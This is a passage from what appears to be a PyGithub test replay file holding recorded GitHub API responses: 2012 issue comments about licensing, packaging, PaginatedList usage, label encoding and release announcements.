#33","updated_at":"2012-05-29T11:36:02Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5981084","created_at":"2012-05-29T11:36:02Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5981084},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4793290","body":"Duplicate of #18...","updated_at":"2012-05-29T11:45:46Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5981232","created_at":"2012-05-29T11:45:46Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5981232},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4639931","body":"Will be OK in version 1.0: no more strange meta-description of the API, and the (generated, but it does not mater) code is easily readable by the IDE's auto-completion tool.","updated_at":"2012-05-29T11:56:06Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5981409","created_at":"2012-05-29T11:56:06Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5981409},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3716033","body":"This will be covered by #36","updated_at":"2012-05-29T11:58:04Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5981451","created_at":"2012-05-29T11:58:04Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5981451},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4793162","body":"@Lyloa I have to mention someone to test `Repository.get_issues` with argument `mentioned`","updated_at":"2012-05-29T18:38:53Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5991965","created_at":"2012-05-29T18:38:53Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5991965},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4356743","body":"Should be much improved by 7248e66. Will be in version 1.0","updated_at":"2012-05-30T19:58:35Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6019700","created_at":"2012-05-30T19:58:35Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6019700},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3619973","body":"Done! You can `easy_install --upgrade PyGithub`.","updated_at":"2012-06-03T19:56:17Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6088432","created_at":"2012-06-03T19:56:17Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6088432},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5036241","body":"PyGithub is definitely licensed under the GNU **Lesser** General Public License.\n\nAccording to http://www.gnu.org/licenses/gpl-howto.html, including both COPYING and COPYING.LESSER is the good way to use the LGPL. Anyway, this is misleading, so I will add a section about licensing in the readme today or tomorrow.\n\nThank you for your feedback, I hope PyGithub will be useful for you.","updated_at":"2012-06-13T10:52:24Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6293572","created_at":"2012-06-13T06:03:24Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6293572},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5036241","body":"Sorry I wasn't up to date on v3 licensing best practices. Thank you very much!\n","updated_at":"2012-06-13T16:17:27Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6305625","created_at":"2012-06-13T16:17:27Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jeblair/received_events","avatar_url":"https://secure.gravatar.com/avatar/12dc328a104d4c4694b3df308bcd4e6d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jeblair/gists{/gist_id}","followers_url":"https://api.github.com/users/jeblair/followers","following_url":"https://api.github.com/users/jeblair/following","organizations_url":"https://api.github.com/users/jeblair/orgs","starred_url":"https://api.github.com/users/jeblair/starred{/owner}{/repo}","url":"https://api.github.com/users/jeblair","gravatar_id":"12dc328a104d4c4694b3df308bcd4e6d","repos_url":"https://api.github.com/users/jeblair/repos","login":"jeblair","events_url":"https://api.github.com/users/jeblair/events{/privacy}","subscriptions_url":"https://api.github.com/users/jeblair/subscriptions","id":899068},"id":6305625},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5092592","body":"Hello, when the user has not set his name, `user.name` is `None`, so you can't concatenate it with a string. The exception is not raised by PyGithub but by your code. Try `print user.login, \"->\", user.name` to avoid string concatenation.","updated_at":"2012-06-15T16:56:50Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6357374","created_at":"2012-06-15T14:08:33Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6357374},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5092592","body":"Perfect! Thanks, that worked. I _knew_ `+` for string concatenation was evil...did not listen.","updated_at":"2012-06-15T14:12:00Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6357422","created_at":"2012-06-15T14:10:33Z","user":{"type":"User","received_events_url":"https://api.github.com/users/aneroid/received_events","avatar_url":"https://secure.gravatar.com/avatar/5557aad9ff70c36cfac418f511bdea98?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/aneroid/gists{/gist_id}","followers_url":"https://api.github.com/users/aneroid/followers","following_url":"https://api.github.com/users/aneroid/following","organizations_url":"https://api.github.com/users/aneroid/orgs","starred_url":"https://api.github.com/users/aneroid/starred{/owner}{/repo}","url":"https://api.github.com/users/aneroid","gravatar_id":"5557aad9ff70c36cfac418f511bdea98","repos_url":"https://api.github.com/users/aneroid/repos","login":"aneroid","events_url":"https://api.github.com/users/aneroid/events{/privacy}","subscriptions_url":"https://api.github.com/users/aneroid/subscriptions","id":1468519},"id":6357422},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5152384","body":"Thank you for your contribution, I will merge it and publish version 1.1 tonight.","updated_at":"2012-06-20T08:15:10Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6447481","created_at":"2012-06-20T08:15:10Z","user":{"type":"User","received_events_url":"https://api.github.com/users/jacquev6/received_events","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":6447481}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/comments?direction=asc&page=2&sort=created {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '46165'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4966'), ('server', 'nginx'), ('last-modified', 'Fri, 21 Dec 2012 18:46:45 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"446137bf216c4edc30567fbc3e944b5a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Dec 2012 11:54:15 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-06-20T21:06:08Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5152384","created_at":"2012-06-20T21:06:08Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6467193","body":"I've just pushed the version 1.1 of the package. You can `easy_install --upgrade PyGithub` if you want.","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":6467193},{"updated_at":"2012-06-20T21:11:31Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5177381","created_at":"2012-06-20T21:11:31Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6467312","body":"Hello Alex, thank you for your feedback.\n\nI've just pushed the version 1.1 of the package. I've used `package_data` as explained in the [documentation of distutils](http://docs.python.org/distutils/setupscript.html#installing-package-data), but I'm still not very confident about my understanding of distutils... \n\nCould you please upgrade the package and tell if it's better?","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":6467312},{"updated_at":"2012-06-20T21:33:50Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5177381","created_at":"2012-06-20T21:22:44Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6467642","body":"Thanks for looking at this so quickly! Here's the result of running `python setup.py install` with your new changes:\n\n```\n\nrunning install_lib\ncopying build/lib/COPYING -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages\ncopying build/lib/COPYING.LESSER -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages\ncreating /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/doc\ncopying build/lib/doc/Design.md -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/doc\ncopying build/lib/doc/ReferenceOfApis.md -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/doc\ncopying build/lib/doc/ReferenceOfClasses.md -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/doc\ncopying build/lib/github/Requester.py -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/github\ncopying build/lib/ReadMe.md -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages\n\n```\n\nI wish I could help, but I'm afraid I don't know how setuptools works.","user":{"type":"User","repos_url":"https://api.github.com/users/malexw/repos","subscriptions_url":"https://api.github.com/users/malexw/subscriptions","events_url":"https://api.github.com/users/malexw/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/13a30f9924fa2bd918cbb8d06dd8b55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"malexw","received_events_url":"https://api.github.com/users/malexw/received_events","gists_url":"https://api.github.com/users/malexw/gists{/gist_id}","url":"https://api.github.com/users/malexw","followers_url":"https://api.github.com/users/malexw/followers","following_url":"https://api.github.com/users/malexw/following","organizations_url":"https://api.github.com/users/malexw/orgs","starred_url":"https://api.github.com/users/malexw/starred{/owner}{/repo}","gravatar_id":"13a30f9924fa2bd918cbb8d06dd8b55a","id":577322},"id":6467642},{"updated_at":"2012-06-21T12:42:19Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5191621","created_at":"2012-06-21T12:42:19Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6481200","body":"Those new apis where documented on June 5th, in https://github.com/github/developer.github.com/commit/3cff4bb9a1f1baf3101c984072cd4b4f0165618c. This explains that they are not covered by PyGithub 1.0 that was released on June 3rd.\n\nIt should not be too difficult to support them. I'll try to do it next week.","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":6481200},{"updated_at":"2012-06-21T12:52:06Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5191621","created_at":"2012-06-21T12:52:06Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6481392","body":"Thank you","user":{"type":"User","repos_url":"https://api.github.com/users/kukuts/repos","subscriptions_url":"https://api.github.com/users/kukuts/subscriptions","events_url":"https://api.github.com/users/kukuts/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/9be6ba907be1740213b69422fdf52b57?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"kukuts","received_events_url":"https://api.github.com/users/kukuts/received_events","gists_url":"https://api.github.com/users/kukuts/gists{/gist_id}","url":"https://api.github.com/users/kukuts","followers_url":"https://api.github.com/users/kukuts/followers","following_url":"https://api.github.com/users/kukuts/following","organizations_url":"https://api.github.com/users/kukuts/orgs","starred_url":"https://api.github.com/users/kukuts/starred{/owner}{/repo}","gravatar_id":"9be6ba907be1740213b69422fdf52b57","id":1831238},"id":6481392},{"updated_at":"2012-06-25T18:47:30Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5256315","created_at":"2012-06-25T18:47:30Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6556134","body":"I was running into issues with labels with spaces. The _identity attribute is just the URL encoded name.\n\nIt works great for building a URL endpoint, but not so great when the label's name is going to part of the POST body since it causes GitHub to return a 422 error complaining that the label doesn't exist.","user":{"type":"User","repos_url":"https://api.github.com/users/philipkimmey/repos","subscriptions_url":"https://api.github.com/users/philipkimmey/subscriptions","events_url":"https://api.github.com/users/philipkimmey/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/decc9323f241b6dd24ec35ef7cabaf75?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"philipkimmey","received_events_url":"https://api.github.com/users/philipkimmey/received_events","gists_url":"https://api.github.com/users/philipkimmey/gists{/gist_id}","url":"https://api.github.com/users/philipkimmey","followers_url":"https://api.github.com/users/philipkimmey/followers","following_url":"https://api.github.com/users/philipkimmey/following","organizations_url":"https://api.github.com/users/philipkimmey/orgs","starred_url":"https://api.github.com/users/philipkimmey/starred{/owner}{/repo}","gravatar_id":"decc9323f241b6dd24ec35ef7cabaf75","id":211079},"id":6556134},{"updated_at":"2012-06-25T19:33:48Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5256315","created_at":"2012-06-25T19:30:24Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6557261","body":"You're perfectly right, thank you! I'll merge your contribution and publish a new version next week-end.","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":6557261},{"updated_at":"2012-06-26T06:34:33Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5259624","created_at":"2012-06-26T06:34:33Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6568164","body":"Welcome back! Indeed, PyGithub has evolved (and stabilized).\n\nMethods that used to return a list of objects now return a `PaginatedList`. `PaginatedList` instances are only iterable (They do not support concatenation as lists do, and you cannot call `len` on them).\n\nThe rationale behind that? It is related to issue #33 and requests returning a large number of objects. In the previous version, creating a list of all the requested objects required a lot of [pagination requests](http://developer.github.com/v3/#pagination), and was quite long. It was a waste of time if the user was interested only in the first elements of that list. Enters `PaginatedList`, which does the pagination requests only when really needed. And it is no more limited to 10 pages.\n\nSo, to achieve what your are trying to do, you have to iterate the `PaginatedList` explicitly, either in a loop, or in the constructor of another collection.\n\nSimple iteration:\n\n for issue in itertools.chain(\n repo.get_issues( state = 'closed' ),\n repo.get_issues( state = 'open' )\n ):\n do stuff\n\nReal list from PaginatedList (and then you can have its length):\n\n issues = list( repo.get_issues( state = 'closed' ) ) + list( repo.get_issues( state = 'open' ) )\n nb_issues = len( issues )\n","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":6568164},{"updated_at":"2012-06-26T06:35:48Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5259624","created_at":"2012-06-26T06:35:48Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6568181","body":"I'll try to document this behavior soon.","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":6568181},{"updated_at":"2012-06-26T07:02:14Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5259624","created_at":"2012-06-26T07:02:14Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6568553","body":"Thanks for this, very helpful. I didn't know I could cast to list so easily (could've tried, though >.<)","user":{"type":"User","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"bilderbuchi","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","url":"https://api.github.com/users/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","id":327442},"id":6568553},{"updated_at":"2012-06-28T20:10:39Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5256315","created_at":"2012-06-28T20:10:39Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6640187","body":"I've fixed Repository.create_issue and .get_issues as well.","user":{"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","url":"https://api.github.com/users/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":6640187},{"updated_at":"2012-06-28T20:10:44Z","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5256315","created_at":"2012-06-28T20:10:44Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6640189","body":"I've just merged 